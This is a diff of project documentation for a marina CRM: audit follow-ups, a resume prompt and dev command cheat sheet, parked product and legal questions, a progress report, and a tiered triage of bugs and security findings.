7. **Status-change modal → prospect link (Wave 7)** → **Force
|
||||
interest pick + auto-create primary `interest_berths` row.**
|
||||
When status moves to `under_offer` or `sold`, the modal surfaces
|
||||
an interest selector below the reason dropdown. Picking an
|
||||
interest creates an `interest_berths` row with `is_primary=true`
|
||||
if one doesn't already exist for that pair. Depends on Wave 5
|
||||
`berth_status_change_reasons` vocabulary.
|
||||
8. **Trip label on expenses (Wave 8)** → **Combobox: free-text on
|
||||
first entry, dropdown of existing labels on subsequent entries.**
|
||||
No new entity. Source the dropdown from
|
||||
`SELECT DISTINCT trip_label FROM expenses WHERE port_id=?`
|
||||
ordered by recency. UI is a `<Combobox>` with "Create
|
||||
'<typed value>'" affordance.
|
||||
9. **Documents folders (Wave 11.B)** → **Per-port, unlimited
|
||||
nesting depth — but render carefully.** User wants flexibility;
|
||||
we owe a UI design that handles deep trees gracefully (likely
|
||||
collapsed-by-default with a breadcrumb header inside the folder
|
||||
view rather than always-expanded sidebar tree).
|
||||
10. **Berth Documents tab (Wave 1 carryover)** → **Split into two
|
||||
tabs: "Spec" (versioned spec PDF) and "Deal Documents"
|
||||
(aggregated EOIs/contracts from interests on this berth).**
|
||||
Permission scoping: deal docs only show entries the viewer can
|
||||
already see via the linked interest.
|
||||
11. **Mooring type re-import** → ✅ **Verified.** All 117 records
|
||||
have `mooring_type` populated post-import (e.g. "Side Pier / Med
|
||||
Mooring"). No action needed.
|
||||
|
||||
---
|
||||
|
||||
## File-pointer cheat sheet
|
||||
|
||||
### Berth-related
|
||||
|
||||
| Concern | File(s) |
|
||||
| ---------------------------------- | ---------------------------------------------------- |
|
||||
| Canonical berth enums | `src/lib/constants.ts` (search `BERTH_`) |
|
||||
| Berth list ordering SQL | `src/lib/services/berths.service.ts:69-72` |
|
||||
| Berth detail inline edit | `src/components/berths/berth-tabs.tsx` |
|
||||
| Berth modal form | `src/components/berths/berth-form.tsx` |
|
||||
| Berth area filter | `src/components/berths/berth-filters.tsx` |
|
||||
| Berth detail header / status modal | `src/components/berths/berth-detail-header.tsx:90` |
|
||||
| Berth Documents tab | `src/components/berths/berth-documents-tab.tsx` |
|
||||
| Berth list query + sort | `src/lib/services/berths.service.ts:25-140` |
|
||||
| Berth import script | `scripts/import-berths-from-nocodb.ts` |
|
||||
| Berth import service / parsers | `src/lib/services/berth-import.ts` |
|
||||
| Public berth API route | `src/app/api/public/berths/route.ts` |
|
||||
| Public berth single route | `src/app/api/public/berths/[mooringNumber]/route.ts` |
|
||||
| Public berth mapper | `src/lib/services/public-berths.ts` |
|
||||
| Public berth tests | `tests/unit/services/public-berths.test.ts` |
|
||||
| Berth seed snapshot | `src/lib/db/seed-data/berths.json` |
|
||||
| Berth schema | `src/lib/db/schema/berths.ts` (incl. `berthMapData`) |
|
||||
|
||||
### Other domains
|
||||
|
||||
| Concern | File(s) |
|
||||
| --------------------------------- | -------------------------------------------------------------------------------------- |
|
||||
| Interest stage colors / legend | `src/components/interests/stage-legend.tsx` + `src/lib/constants.ts:STAGE_DOT` |
|
||||
| Mobile kanban toggle / fallback | `src/components/interests/interest-list.tsx` |
|
||||
| Country / timezone autoset | `src/components/clients/client-form.tsx` + `src/components/settings/user-settings.tsx` |
|
||||
| Phone input | `src/components/shared/phone-input.tsx` |
|
||||
| Country combobox + scroll patch | `src/components/shared/country-combobox.tsx` + `src/components/ui/command.tsx` |
|
||||
| Sidebar Umami gate | `src/components/layout/sidebar.tsx` (search `umamiRequired`) |
|
||||
| Mobile More-sheet | `src/components/layout/mobile/more-sheet.tsx` |
|
||||
| Notes service (aggregate-on-read) | `src/lib/services/notes.service.ts:130-242` |
|
||||
| Notes UI | `src/components/shared/notes-list.tsx` |
|
||||
| Settings manager (admin) | `src/components/admin/settings/settings-manager.tsx` |
|
||||
| User settings page | `src/components/settings/user-settings.tsx` |
|
||||
| Status change dialog | `src/components/berths/berth-detail-header.tsx:90` |
|
||||
| Companies members tab | `src/components/companies/company-members-tab.tsx` |
|
||||
| Yacht form | `src/components/yachts/yacht-form.tsx` |
|
||||
| Client form | `src/components/clients/client-form.tsx` |
|
||||
|
||||
### Infrastructure
|
||||
|
||||
| Concern | File(s) |
|
||||
| ------------------------------------------- | --------------------------------------------- |
|
||||
| Drizzle config / migrations | `drizzle.config.ts`, `src/lib/db/migrations/` |
|
||||
| `system_settings` table | `src/lib/db/schema/system.ts:128-147` |
|
||||
| Permissions / `withAuth` / `withPermission` | `src/lib/api/helpers.ts` |
|
||||
| Body parsing (always use `parseBody`) | `src/lib/api/route-helpers.ts` |
|
||||
| Storage backend abstraction | `src/lib/storage/` |
|
||||
| Logger (pino) | `src/lib/logger.ts` |
|
||||
|
||||
---
|
||||
|
||||
## Resuming in a fresh session
|
||||
|
||||
When you open a new chat, paste this **prompt** to pick up where this
|
||||
session ended:
|
||||
|
||||
```
|
||||
I'm resuming the 2026-05-08 visual audit. Read
|
||||
docs/AUDIT-FOLLOWUPS.md first — it has every completed item, every
|
||||
pending item, and every open question. Then:
|
||||
|
||||
1. Skim the "Quick status snapshot" table at the top so you know
|
||||
what's done.
|
||||
2. Read the "Open questions for the user" list and ask me question
|
||||
#N where N is whichever I'll answer first this turn.
|
||||
3. Wait for my answers; don't start implementing until I confirm.
|
||||
|
||||
Key invariants:
|
||||
- Notes unification model: aggregate-on-read.
|
||||
- Berth dropdown values: NocoDB SingleSelect canon, sourced from
|
||||
src/lib/constants.ts (BERTH_*_OPTIONS / _TYPES).
|
||||
- Power Capacity & Voltage stay numeric inputs; Bow Facing is a
|
||||
constrained 4-value dropdown despite being SingleLineText in
|
||||
NocoDB.
|
||||
- linkedUnit on EditableSpec auto-fills the metric column on save.
|
||||
- system_settings (key, port_id) is the configuration pattern.
|
||||
- NocoDB MCP is connected via ~/.claude.json — Berths schema +
|
||||
records can be pulled live.
|
||||
- Public berth feed (/api/public/berths) now serves Map Data; 117
|
||||
berth_map_data rows backfilled in this session.
|
||||
- Tests: 1185/1185 passing; tsc clean.
|
||||
|
||||
The git working tree has 23 modified files + 2 new (no commits yet).
|
||||
Don't commit anything until I say so.
|
||||
```
|
||||
|
||||
### Resume commands (cheat sheet)
|
||||
|
||||
```bash
|
||||
cd /Users/matt/Repos/new-pn-crm
|
||||
pnpm dev # Turbopack dev (~1s boot)
|
||||
|
||||
# Tests
|
||||
pnpm exec vitest run # Unit + integration (~7s)
|
||||
pnpm exec tsc --noEmit # Type check
|
||||
pnpm exec playwright test --project=smoke # Smoke (~10min)
|
||||
|
||||
# NocoDB import (for new berth pulls)
|
||||
pnpm tsx scripts/import-berths-from-nocodb.ts --dry-run --port-slug port-nimara
|
||||
pnpm tsx scripts/import-berths-from-nocodb.ts --apply --port-slug port-nimara
|
||||
|
||||
# DB inspect
|
||||
PGPASSWORD=changeme psql -h localhost -p 5434 -U crm -d port_nimara_crm
|
||||
|
||||
# Public-feed sanity check
|
||||
curl -s http://localhost:3000/api/public/berths | jq '.pageInfo'
|
||||
curl -s http://localhost:3000/api/public/berths/A1 | jq '.'
|
||||
```
|
||||
|
||||
### Verification checklist before committing this session's work
|
||||
|
||||
- [ ] `pnpm exec vitest run` — 1185/1185 pass.
|
||||
- [ ] `pnpm exec tsc --noEmit` — clean.
|
||||
- [ ] `pnpm exec playwright test --project=smoke` — passes.
|
||||
- [ ] Manual: open `/port-nimara/berths`, confirm sort is A1, A2,
|
||||
A3 … A10, A11 (not lex order).
|
||||
- [ ] Manual: open a berth detail page, confirm the dock chip reads
|
||||
e.g. "A Dock", and the Bow Facing / Side Pontoon / Cleat fields
|
||||
render as `<Select>` not `<Input>`.
|
||||
- [ ] Manual: pick a country in the user-settings page and confirm
|
||||
timezone auto-fills if empty; also confirm the country dropdown
|
||||
scrolls with mousewheel on macOS.
|
||||
- [ ] Manual: check the mobile More-sheet has no "Inbox" entry, and
|
||||
"Notification preferences" deep-links to the correct page.
|
||||
- [ ] Manual: open `/api/public/berths` in the browser and search for
|
||||
`Map Data` in the response — every row should have it.
|
||||
|
||||
---
|
||||
|
||||
## Misc tracking notes
|
||||
|
||||
- **Backups**: `~/.claude.json.bak.<timestamp>` exists from when the
|
||||
NocoDB MCP was added. Delete after a session or two if everything's
|
||||
stable.
|
||||
- **Turbopack flip**: `next.config.ts` has no custom `webpack()` hook
|
||||
so reverting `pnpm dev` to plain `next dev` is one line if needed.
|
||||
Default is now `--turbopack`.
|
||||
- **Database integrity follow-ups** (separate audit, dated 20:42):
|
||||
11 findings (5 critical / 6 important). Logged in
|
||||
`.remember/today-2026-05-08.md`. Cross-cuts the work here in two
|
||||
spots: (1) `upsertInterestBerth` race could affect the berth
|
||||
recommender once it's wired into the manual client form (Wave 11.A);
|
||||
(2) `system_settings` `ON DELETE NO ACTION` will need addressing
|
||||
before any port-deletion flow ships.
|
||||
@@ -1,212 +0,0 @@
|
||||
# Parked questions — needs product / business / design decision
|
||||
|
||||
Items from the 33-agent audit that I deliberately did NOT fix automatically, because they need a call from you (or someone in product / legal / design) before code can be written. Each entry: the finding, why it's parked, and the proposed options.
|
||||
|
||||
Numbered to match the tiers in `AUDIT-TRIAGE.md`.
|
||||
|
||||
---
|
||||
|
||||
## P-0.1 — Migration runner: which approach?
|
||||
|
||||
**Finding.** `pnpm db:push` silently skips `CREATE INDEX CONCURRENTLY` and `NULLS NOT DISTINCT` constraints, plus the `berths.current_pdf_version_id` circular FK. Production is running without 6 composite indexes from migration 0052.
|
||||
|
||||
**Why parked.** Three viable approaches:
|
||||
|
||||
- **Drizzle's built-in `migrate()`** — simplest, but doesn't support `CREATE INDEX CONCURRENTLY` (the kit wraps every migration in a transaction, and CONCURRENTLY can't run inside one).
|
||||
- **A custom tsx script** that reads `0001*.sql` … `0056*.sql` in order, splits on `--> statement-breakpoint`, runs each statement, special-cases CONCURRENTLY by running it outside a tx, tracks state in a `__drizzle_migrations` table.
|
||||
- **Adopt a third-party migrator** (graphile-migrate, dbmate, pg-migrate). Best ergonomics, biggest dependency to take on.
|
||||
|
||||
**Question.** Which one do you want? If you don't know, my recommendation is **custom tsx script** — keeps the dependency surface tight and matches the rest of the platform's "write a script for it" pattern.
|
||||
|
||||
---
|
||||
|
||||
## P-0.4 — Resolve-identifier hit-path still echoes real email
|
||||
|
||||
**Finding.** Rate-limit + synthetic-miss are in, but on a hit the endpoint still returns the user's canonical email. A guessable-username window still leaks.
|
||||
|
||||
**Why parked.** The real fix is to delete the endpoint entirely and have the login form POST `{identifier, password}` to a server-side proxy that resolves + calls Better Auth in one round-trip, never returning the email. That's a noticeable refactor to the login page and possibly the portal-login page too.
|
||||
|
||||
**Question.** Do I do the proxy refactor (~30 min) or keep the current rate-limited shape and accept the residual leak?
|
||||
|
||||
---
|
||||
|
||||
## P-0.5 — Orphan-blob windows in 9+ services
|
||||
|
||||
**Finding.** Every `storage.put` runs outside the `db.insert(files)` tx in `documents`, `brochures`, `invoices`, `gdpr-export`, `backup`, `berth-pdf`, `external-eoi`, `document-templates`, `reports`. A comment in one site claims a "reaper handles it" — no reaper exists.
|
||||
|
||||
**Why parked.** Two valid patterns, both meaningful work:
|
||||
|
||||
- **Compensating delete** — wrap each `storage.put` in a try/catch and `storage.delete()` on tx failure.
|
||||
- **Saga / 2-phase** — write to a `pending_blobs` table inside the tx, async-confirm after the tx commits, async-reaper for orphans.
|
||||
|
||||
Compensating-delete is faster to ship but doesn't catch process-crash gaps. Saga is more robust but is a bigger change.
|
||||
|
||||
**Question.** Which pattern? Recommendation: compensating-delete for now + a simple `cron` reaper that lists all blobs not referenced by any `files`/`berth_pdf_versions`/etc. row and deletes them after a grace period.
|
||||
|
||||
---
|
||||
|
||||
## P-1.1 — GDPR Article-15 export completeness
|
||||
|
||||
**Finding.** `gdpr-bundle-builder.ts` is missing ~10 PII-bearing tables — portal_users, email_threads/messages, document_sends, reminders, files, scratchpadNotes, client_merge_log, contact_log, website_submissions, form_submissions.
|
||||
|
||||
**Why parked.** Each table needs (a) FK verification that "row belongs to this client" is unambiguous, (b) whether port-isolation must be enforced, (c) whether to include verbatim PII (email bodies, message contents) or redacted versions. This is a careful per-table audit that benefits from someone who knows the data model intimately.
|
||||
|
||||
**Question.** Want me to do a per-table table-by-table follow-up (estimated ~45 min) once you confirm the redaction policy? Or have legal review the scope first?
|
||||
|
||||
---
|
||||
|
||||
## P-1.2 — Right-to-be-forgotten doesn't actually erase
|
||||
|
||||
**Finding.** `client-hard-delete.service.ts` nullifies FKs but verbatim PII survives in `email_messages.body_html`, `files`, `document_sends.recipient_email`.
|
||||
|
||||
**Why parked.** **This is a legal decision, not a coding one.** Some jurisdictions (notably France) require true erasure even of email-body content; others accept anonymization. The fix is mechanical once you decide the policy: a `wipeClientPii(clientId)` helper that overwrites every PII column with a tombstone string. But the scope (which fields, which timeline, which audit trail) is yours / legal's.
|
||||
|
||||
**Question.** What's the erasure policy? Anonymize (preserve audit trail) or truly delete (loses business records)?
|
||||
|
||||
---
|
||||
|
||||
## P-1.3 — Activation / reset tokens travel in `?token=` query strings
|
||||
|
||||
**Finding.** Browser history, proxy logs, Referer header all see the token.
|
||||
|
||||
**Why parked.** Fix is a redesign of the URL scheme — switch to `#token=…` (fragment) or POST-on-load. Both work but require coordinated changes to email templates + the landing pages + Better Auth integration. Estimated 30-45 min.
|
||||
|
||||
**Question.** Want me to do the fragment-based redesign?
|
||||
|
||||
---
|
||||
|
||||
## P-2.1 — `pipelineValueUsd` sums mixed currencies as USD
|
||||
|
||||
**Finding.** The dashboard tile labelled "Pipeline Value" sums berth prices in their native currencies but renders the total as USD.
|
||||
|
||||
**Why parked.** Three valid UX options:
|
||||
|
||||
- **Convert at display time** — fetch each price, convert to port-default-currency via `currency.service`, sum the converted values. Today's rates introduce drift relative to historical reports.
|
||||
- **Show as port-default-currency totalled** — the dashboard tile labels it as the port's own currency; honest about ambiguity.
|
||||
- **Show "mixed (X USD, Y EUR, Z GBP)"** — explicit, prevents misreading, but uglier.
|
||||
|
||||
**Question.** Which display do you want? My recommendation is **option 2** (show port-default-currency, convert at display) — it's the least visually noisy and lines up with what most CRMs do.
|
||||
|
||||
---
|
||||
|
||||
## P-2.5 — "Active interest" means 4 different things
|
||||
|
||||
**Finding.** Dashboard tiles use `outcome IS NULL OR 'won'`, kanban uses `archivedAt NULL` only (lost cards visible), hot deals uses `outcome IS NULL` (excludes won), PDF reports use `archivedAt NULL` only.
|
||||
|
||||
**Why parked.** Need a canonical definition. Recommendation: **active = `archivedAt IS NULL AND outcome IS NULL`** (not yet won, not yet lost, not yet cancelled, not yet archived). But that demotes won deals out of "active" everywhere — affects the kanban "won" column and the dashboard "active deals" tile.
|
||||
|
||||
**Question.** Confirm the canonical definition, then I extract an `activeInterestsWhere(portId)` helper and route every site through it.
|
||||
|
||||
---
|
||||
|
||||
## P-2.6 — Occupancy rate: berths.status vs berth_reservations
|
||||
|
||||
**Finding.** KPI tile + PDF use `berths.status` ("occupied"/"available"/etc). Analytics timeline uses `berth_reservations`. Same dashboard, two different numbers.
|
||||
|
||||
**Why parked.** Need to know which is the source of truth. Probably `berth_reservations` (richer; supports timeline), but switching the KPI tile changes the displayed number for every port.
|
||||
|
||||
**Question.** Which is canonical? I'll switch the other to match.
|
||||
|
||||
---
|
||||
|
||||
## P-2.7 — Revenue PDF unweighted vs dashboard weighted
|
||||
|
||||
**Finding.** Revenue PDF shows gross berth prices per stage. Dashboard revenue-forecast tile multiplies by `pipeline_weights`. They will never reconcile.
|
||||
|
||||
**Why parked.** Need PM call on what "Revenue" means in each context. The PDF is probably a board / investor doc and should match dashboard, but maybe they want both.
|
||||
|
||||
**Question.** Make the PDF match the dashboard (weighted)? Or leave divergent and label them differently?
|
||||
|
||||
---
|
||||
|
||||
## P-3.1 — "Interest" / "lead" / "prospect" / "deal" used interchangeably
|
||||
|
||||
**Finding.** All four nouns appear in client-facing UI. `berth-detail-header.tsx` literally parenthesises one as a synonym ("the prospect (interest)"). `berth-tabs.tsx` has a "Deal Documents" tab + `/deal-documents` URL path.
|
||||
|
||||
**Why parked.** Need a canonical noun. Without one I'd be guessing; with one I can do a codemod across the platform.
|
||||
|
||||
**Question.** Which one is canonical? Recommendation: **interest** (matches schema + URL + most code). Then everything else becomes a deprecated alias.
|
||||
|
||||
---
|
||||
|
||||
## P-3.3 — 16 `window.confirm()` sites for destructive flows
|
||||
|
||||
**Finding.** Cancel signing envelope, delete files, archive interest/company/yacht, etc. all use the native browser dialog.
|
||||
|
||||
**Why parked.** Mechanical fix once you confirm: each site swaps `window.confirm()` for `<AlertDialog>` from `@/components/ui/alert-dialog`. But there are 16 of them; ~5 min each.
|
||||
|
||||
**Question.** OK to do the sweep automatically with the same dialog copy + visual treatment? Or do you want bespoke copy per surface?
|
||||
|
||||
---
|
||||
|
||||
## P-3.4 — Signing-status labels diverge across 5 surfaces
|
||||
|
||||
**Finding.** Hub list, interest-tab, SigningProgress, notification-digest, realtime-toast all use different strings for the same document state.
|
||||
|
||||
**Why parked.** Need one canonical mapping. I drafted `PORTAL_SIGNING_LABELS` for the portal but the CRM side has different needs (more granular for reps).
|
||||
|
||||
**Question.** Want me to extract a shared `signingStatusLabel()` and route every site through it? If yes, I need a confirmed label map.
|
||||
|
||||
---
|
||||
|
||||
## P-3.5 — 6× "Save" button variants
|
||||
|
||||
**Finding.** "Save", "Save Changes", "Save changes", "Update", "Apply" — plus "Saving..." vs "Saving…".
|
||||
|
||||
**Why parked.** Mechanical sweep once you confirm the canonical text. Recommendation: **"Save changes"** for edits, **"Create X"** for new entities, **"Saving…"** (Unicode ellipsis) for the loading state. Trivial codemod but it touches 30+ files.
|
||||
|
||||
**Question.** OK to do the sweep with that policy?
|
||||
|
||||
---
|
||||
|
||||
## P-3.6 — Live Documenso template missing `Berth Range` field
|
||||
|
||||
**Finding.** The CRM sends a `Berth Range` form value through `buildDocumensoPayload`, but the live template at Documenso doesn't have that field — Documenso silently drops unknown formValues. Every multi-berth EOI ships with only the primary mooring.
|
||||
|
||||
**Why parked.** **Not code — Documenso admin action.** Someone needs to log into the Documenso instance and add a `Berth Range` text field to template id 8. The CRM is ready.
|
||||
|
||||
**Question.** Who has Documenso admin access? Can they add the field?
|
||||
|
||||
---
|
||||
|
||||
## P-4.5 — "Convert to client" prefill qs params unused
|
||||
|
||||
**Finding.** The inquiry-inbox triage flow writes `prefill_name/email/phone/inquiry_id/source` query-string params. No consumer reads them. The flow eagerly flips the inquiry to "converted" then drops the operator on a blank form, losing the inquiry_id linkage forever.
|
||||
|
||||
**Why parked.** Fix is a wire-up: the create-client form's `useEffect` reads searchParams and hydrates initial values. But it also has to push the `inquiry_id` into the resulting client's `metadata` so the linkage survives. Not difficult; needs ~30 min and design review on what the linkage looks like.
|
||||
|
||||
**Question.** Want me to wire it up with the inquiry_id stored on `clients.metadata.source_inquiry_id`?
|
||||
|
||||
---
|
||||
|
||||
## P-5.1 — `handleDocumentCompleted` TOCTTOU
|
||||
|
||||
**Finding.** Two concurrent retries can both pass the idempotency gate, both write the signed PDF blob, both insert duplicate files rows. Webhook + poll-worker race specifically.
|
||||
|
||||
**Why parked.** Fix is a `SELECT … FOR UPDATE` on the documents row inside the handler. Mechanical but invasive — touches the hottest path in the signing flow. I want to test before shipping, and that needs a real Documenso webhook replay.
|
||||
|
||||
**Question.** OK to ship the FOR UPDATE without a replay test, relying on existing vitest? Or hold until you can replay?
|
||||
|
||||
---
|
||||
|
||||
## P-5.2 — Zero BullMQ `jobId` usage repo-wide
|
||||
|
||||
**Finding.** Every `queue.add` is unkeyed; any double-fire creates a duplicate job. The audit found this is the most pervasive concurrency hazard in the codebase.
|
||||
|
||||
**Why parked.** Fix is mechanical: pass a deterministic `jobId` to every `queue.add` call. But "deterministic" varies by surface (webhook deliveries should use the delivery row id, notifications should use a hash of the dedupeKey, etc.). ~20 sites to touch.
|
||||
|
||||
**Question.** Want me to do the sweep with per-surface jobId conventions, or batch by surface (webhooks first, then notifications, etc.)?
|
||||
|
||||
---
|
||||
|
||||
## P-6.2 — Recharts in initial bundle (~80-150KB)
|
||||
|
||||
**Finding.** Every dashboard chart imports recharts statically via `widget-registry.tsx`. Initial-page-load bundle includes recharts even if the user has all chart widgets disabled.
|
||||
|
||||
**Why parked.** Fix is straightforward (dynamic import each chart widget), but the widget-registry is hot-pathed by the dashboard renderer and by the widget picker UI. Touching it has surface area.
|
||||
|
||||
**Question.** OK to ship a `next/dynamic` lazy-import for each chart widget? Adds a loading skeleton flash but kills the bundle bloat.
|
||||
|
||||
---
|
||||
|
||||
_Everything in `AUDIT-TRIAGE.md` Tier 8 is already shipped. Everything not listed in this file has been fixed without parking — see the commit log on `feat/documents-folders`._
|
||||
@@ -1,83 +0,0 @@
|
||||
# Audit Progress Report — 2026-05-15
|
||||
|
||||
Companion to `docs/audit-2026-05-15.md` (findings) and `docs/AUDIT-CATALOG.md` (320+ checks). Tracks what was actually executed in this session and what remains.
|
||||
|
||||
## Fixed and verified (10 of 13 known issues from A1-A20)
|
||||
|
||||
| ID | Fix | Verified |
|
||||
| --- | ------------------------------------------------------------------------------------------------------------- | ------------------------ |
|
||||
| A1 | Dashboard activity feed filters out `permission_denied` entries | ✅ code-reviewed |
|
||||
| A2 | New `LEGACY_STAGE_REMAP` + `canonicalizeStage` / `stageLabelFor` helpers; activity-feed maps legacy → 7-stage | ✅ code-reviewed |
|
||||
| A4 | Client form prunes empty contact rows before zod validation | ✅ Playwright end-to-end |
|
||||
| A6 | file-preview-dialog gets `sr-only` DialogDescription | ✅ code-reviewed |
|
||||
| A8 | Migration 0066 normalizes legacy `statusOverrideMode = 'auto'` → NULL | ✅ migration written |
|
||||
| A9 | Catch-up wizard derives stage from berth status (under_offer → eoi, sold → contract) via stageOverride state | ✅ code-reviewed |
|
||||
| A16 | File upload route coerces FormData null → undefined before zod | ✅ Playwright (201 OK) |
|
||||
| A17 | New `/api/v1/me/ports` endpoint; `apiFetch` uses it as the bootstrap resolver | ✅ Playwright (200 OK) |
|
||||
| A19 | F27 same-stage write returns 204 No Content via STAGE_NOOP sentinel | ✅ Playwright (204) |
|
||||
| A20 | OwnerPicker surfaces "Client / Company" hint chip on trigger when no value set | ✅ code-reviewed |
|
||||
| A18 | Closed as not-a-bug: `/users` doesn't exist (true 404); `/admin/audit` exists and 403s correctly | ✅ analysis |
|
||||
| A3 | **Deferred** — dev-only react-grab CSP noise, cosmetic | ⏭️ skipped |
|
||||
| A5 | **Deferred** — Socket.IO dev noise, requires sidecar service setup | ⏭️ skipped |
|
||||
|
||||
## Legacy stage enum hunt (L-001 done, L-002-L-020 partially)
|
||||
|
||||
| ID | Result |
|
||||
| ----- | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| L-001 | Grepped entire `src/` — found real bugs in `clients.service.ts` and `berth-recommender.service.ts` rank tables (every modern interest got rank 0) — fixed |
|
||||
| L-002 | Audit log diff display only shows field names (not values) — clean |
|
||||
| L-003 | Activity feed: A2 fix covers this |
|
||||
| L-004 | Email templates: notification-digest.tsx labels `eoi_signed` etc. as notification TYPE (event), not pipeline stage — OK |
|
||||
| L-005 | Documenso payload: no stage refs in `buildDocumensoPayload` |
|
||||
| L-006 | Public berths API: status enum is `available/under_offer/sold` — independent of pipeline stages — OK |
|
||||
| L-007 | Webhook payloads: read-time mapping via `stageLabelFor` recommended for downstream subscribers (not blocking) |
|
||||
| L-008 | Analytics SQL: spot-checked the pipeline-funnel query — uses modern 7-stage enum only ✅ |
|
||||
| L-012 | Seed data: confirmed migrated in `seed-synthetic-data.ts` ✅ |
|
||||
| L-014 | Same as A8 — fixed via migration 0066 |
|
||||
| L-015 | Outcome enum: confirmed `won` + `lost_*` only — no legacy `completed` |
|
||||
| L-019 | Doc-status sub-states: `pending/sent/signed/declined/voided` — consistent ✅ |
|
||||
| — | Stale comment refs to `deposit_10pct` in schema (clients, financial, users) — all updated to modern copy |
|
||||
|
||||
## Routes correctness (R-001..R-030 — partial)
|
||||
|
||||
- R-001 — 13 main `/[portSlug]/*` routes return 200 for super-admin ✅
|
||||
- R-002 — sales-agent: confirmed admin nav hidden + permission gating from earlier audit ✅
|
||||
- R-004 — cross-port deep-link to unknown UUID: returns 200 with `DetailNotFound` rendered (F17) ✅
|
||||
- R-008 — mooring URL canonicalization: `A1`, `a1`, `A%201`, `A001`, `ZZ999` all return 200 (Next renders the page; data fetch surfaces 404 in-page if needed)
|
||||
- R-005, R-006, R-009, R-010, R-011, R-013-R-022 — ❓ unchecked
|
||||
- R-007 — hard-deleted berth A1 in port-amador: route page renders 200, in-page state is the `DetailNotFound` ✅
|
||||
|
||||
## What's NOT done
|
||||
|
||||
These remain unchecked from the catalog:
|
||||
|
||||
- **U-001..U-100 UX consistency sweep** — partial (catch-up wizard tested, OwnerPicker tested). Empty states, form design, tables/lists/filters, badges, modals, mobile UX — needs dedicated session.
|
||||
- **W-001..W-052 sales workflows** — happy path (W-001) NOT walked end-to-end. Reservations, invoices, EOI signing pathway, contract signing, refund handling, GDPR export, etc. all unchecked beyond earlier audits.
|
||||
- **AD-001..AD-060 admin workflows** — only sampled (tag creation, audit log viewing). Role create, invite roundtrip, custom fields retrofit, brochures, per-berth PDFs, NocoDB import, CSV import — unchecked.
|
||||
- **MT-01..MT-11 multi-tenancy** — only the recommender + entry-point checks confirmed earlier. Defense-in-depth port_id filters on every join — sample-checked.
|
||||
- **S-01..S-30 security** — only items previously verified (rate-limit, XSS in client name, magic-byte verification). SQL injection, CSRF, SSRF, privilege escalation, session fixation, CSP headers — unchecked.
|
||||
- **RT-01..RT-09 realtime** — A5 deferred; nothing tested.
|
||||
- **P-01..P-14 performance** — nothing tested.
|
||||
- **D-01..D-22 documents/files** — partial (upload at root verified after A16 fix).
|
||||
- **AU-01..AU-14 audit log surface** — only auto-emit verified.
|
||||
- **EM-01..EM-19 email** — nothing tested.
|
||||
- **IN-01..IN-29 integrations** — nothing new tested.
|
||||
- **SC-01..SC-15 schema** — nothing tested beyond what existing migrations confirm.
|
||||
- **L-1..L-08 i18n/l10n** — nothing tested.
|
||||
- **BR-01..BR-07 browser/device** — only Chrome verified.
|
||||
- **B-01..B-22 behavioral correctness** — partial.
|
||||
- **DC-01..DC-05 data clean-up** — A8 done; others unchecked.
|
||||
- **CI-01..CI-13 CI/dev experience** — tsc/lint/vitest verified per commit; Playwright projects not run; Docker build not tested.
|
||||
|
||||
## Bottom line
|
||||
|
||||
11 of the 13 known issues from yesterday's sweep are fixed and pushed. The biggest discovered fix was the legacy-stage rank tables in clients.service + berth-recommender that were silently broken for every post-9→7-refactor interest. Two dev-only issues (A3, A5) deferred.
|
||||
|
||||
Remaining catalog coverage requires multiple dedicated sessions — there are 300+ unique checks still in `AUDIT-CATALOG.md`. The catalog is the to-do list; pick the next slice you want me to take.
|
||||
|
||||
## Commits in this session
|
||||
|
||||
- `0d9208a` fix(audit): A1/A2/A4/A6/A8/A9/A16/A17/A19/A20
|
||||
- `9821106` fix(legacy-stage): purge 9-stage enum keys from rank tables and stale copy
|
||||
|
||||
Test suite: 1373/1373 pass · tsc clean · lint clean.
|
||||
@@ -1,153 +0,0 @@
|
||||
# Port Nimara CRM — Audit Triage (importance-grouped)
|
||||
|
||||
Companion to `AUDIT-2026-05-12.md`. Every line below is a real finding from the 33-agent audit, regrouped strictly by **impact × likelihood of biting you**, not by which domain found it. Tackle tiers top-down.
|
||||
|
||||
---
|
||||
|
||||
## Tier 0 — Stop-ship: do these in the next session
|
||||
|
||||
Anything here is a foot-gun that's actively armed in production right now.
|
||||
|
||||
| # | What | Where | Why now |
|
||||
| --- | ------------------------------------------------------------------ | --------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0.1 | Build a real `db:migrate` runner | new tsx script | `pnpm db:push` silently skips `CREATE INDEX CONCURRENTLY` (6 indexes in 0052 never created) and skips 2 structural constraints. Every other "migration X exists" claim is unverifiable until this is fixed. |
|
||||
| 0.2 | `EMAIL_REDIRECT_TO` prod refusal in `src/lib/env.ts` | env zod refine | One stray env value silently funnels every outbound (invites, EOI, portal magic links, contracts) to a single inbox. Only signal today is `logger.debug`. |
|
||||
| 0.3 | Admin self-target audit-log retention + alerting | audit_logs metadata + retention cron | `audit_logs.metadata` not in `maskSensitiveFields`, no retention cron. PII grows unbounded; rotated-admin compromise is invisible. |
|
||||
| 0.4 | Resolve-identifier hit-path still echoes the real email | `/api/auth/resolve-identifier/route.ts` | Rate-limit is in (just shipped), but on a hit we still return the canonical email. Replace with a server-side signIn proxy that takes `{identifier, password}` and never returns the email at all. |
|
||||
| 0.5 | Orphan-blob windows in 9+ services | `documents`, `brochures`, `invoices`, `gdpr-export`, `backup`, `berth-pdf`… | Every `storage.put` runs outside the `db.insert(files)` tx. "Reaper handles it" comment is wrong — no reaper exists. Months of operation = hundreds of orphans. |
|
||||
| 0.6 | `backup_jobs.storage_path` missing from `TABLES_WITH_STORAGE_KEYS` | `src/lib/storage/migrate.ts:55-60` | Flip the storage backend → silently orphans every pg_dump. Last-resort recovery path goes dark. |
|
||||
|
||||
---
|
||||
|
||||
## Tier 1 — Compliance / legal liability
|
||||
|
||||
Anything here puts the company in a regulator finding or a court case.
|
||||
|
||||
| # | What | Where |
|
||||
| --- | ------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 1.1 | GDPR Article-15 export bundle is incomplete | `gdpr-bundle-builder.ts` — missing portal_users, email_threads/messages, document_sends, reminders, files, scratchpadNotes, client_merge_log, contact_log, website_submissions, form_submissions |
|
||||
| 1.2 | Right-to-be-forgotten doesn't actually erase | `client-hard-delete.service.ts` — verbatim PII survives in `email_messages.body_html`, `files`, `document_sends.recipient_email` |
|
